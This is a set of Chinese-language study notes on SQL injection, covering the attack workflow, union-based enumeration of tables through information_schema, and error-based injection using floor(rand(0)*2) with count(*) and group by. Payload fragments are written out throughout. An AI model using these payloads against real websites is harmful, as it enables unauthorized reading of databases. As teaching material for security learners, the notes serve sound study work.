group_concat(列名)将返回的多行结果合并成一行——使用示例:select group_concat(name) from users where sex=male()包裹要返回的列,就可以将返回的该列全部变成一行,也可以select group_concat(name,'~',passwd) from users where sex=male将所有的name、passwd拼接成一行,并且每个name、passwd间用~分割
sql注入
※ 总流程
1.查找注入点
2.判断是字符型还是数字注入(用and 1=1 and 1=2 或2-1),如果是字符型注入,找到闭合方式
3.判断网页自带sql查询列数,group by、order by
4.查询回显位置(先把原有查询设置成无结果的,如id=-1,再用1,2,3,4,5)
※注意事项
1.在实际的注入过程中经常会用到where 1=1或者where true,如果判断条件是where true就会输出所有的结果
如SELECT * FROM table WHERE TRUE就会输出table中所有内容
回显:一般情况下网页往往只回显前面的一两个查询结果,导致union搜索语句被正常执行了,但是结果没有被显示出来。还有一种情况是selsct * from user where id=n假设搜索结果有10列,但是只希望显示第2和第5列,这种时候网页上也会有筛选,因此也需要确定回显位置,把想要看到的东西放到对应的第2和第5位上,才能顺利的看到想要的数据。
通过union select table_name(或其他列名)from information_schema.tables可以找到数据库中的表名(但是这里返回的是所有的表名,由于回显问题一般看不到想要的),可以用union select table_name from information_schema.tables where table_schema=database()(或直接写当前数据库名)使用上述命令返回当前数据库下的所有表名。
extractValue()是一个用于从数据库某一列的内容中查询信息的功能select extractvalue(列名,'路径名(xpath格式)') from 表名,举例说明 ![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=image.png&pos_id=img-t4b4QpKB-1702029698917例如查询每本书的标题则可以用select extractvalue(doc,'/book/title') from xml
rand()随机生成一个0-1之间的小数,rand()*2随机生成一个0-2之间的数;select rand() from 表名,表有多少行就随机生成多少次;再实际使用中,为了有足够多的结果来产生报错,一般选一个表象比较多的表,如information_schema.tablesrand()并不是真正的完全随机,rand(0),rand(1)…生成的随机数序列都是固定的,有一个随机种子,种子为0的时候,floor(rand(0))的结果永远是0,1,1的循环
as取别名select concat_ws('-',(select database()),floor(rand()*2)) as a from users group by a先成成database名——随机数取整的结果,将这个结果叫做a,按a分组,as的意义其实当要用一个复杂的语句排序时,可以直接as a,order by或者group by a
count()汇总数量,在上面语句的基础上加count(),注意count()后面要有逗号select count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from users group by a会先按a进行分组,然后统计每个分组内有多少个
上面的语句写成rand(0),即select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from users group by a就会报错,报错的原因在于进行count操作的时候会生成一张key-count的统计表(这个很好理解),初始时统计表是空的,而每次有新的key值要加入表中的时候不会直接拿之前值直接加入key,而是会在入表前再进行一次计算,将计算的值作为新的key加入表格中。
实战过程中一般使用concat_ws(‘~’,‘abc’,‘123’)中的后一个字符串作为floor(rand(0)*2) ,将中间的字符串写成自己想要数据库执行的查询语句,例如and select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a group by a就可以查看当前数据库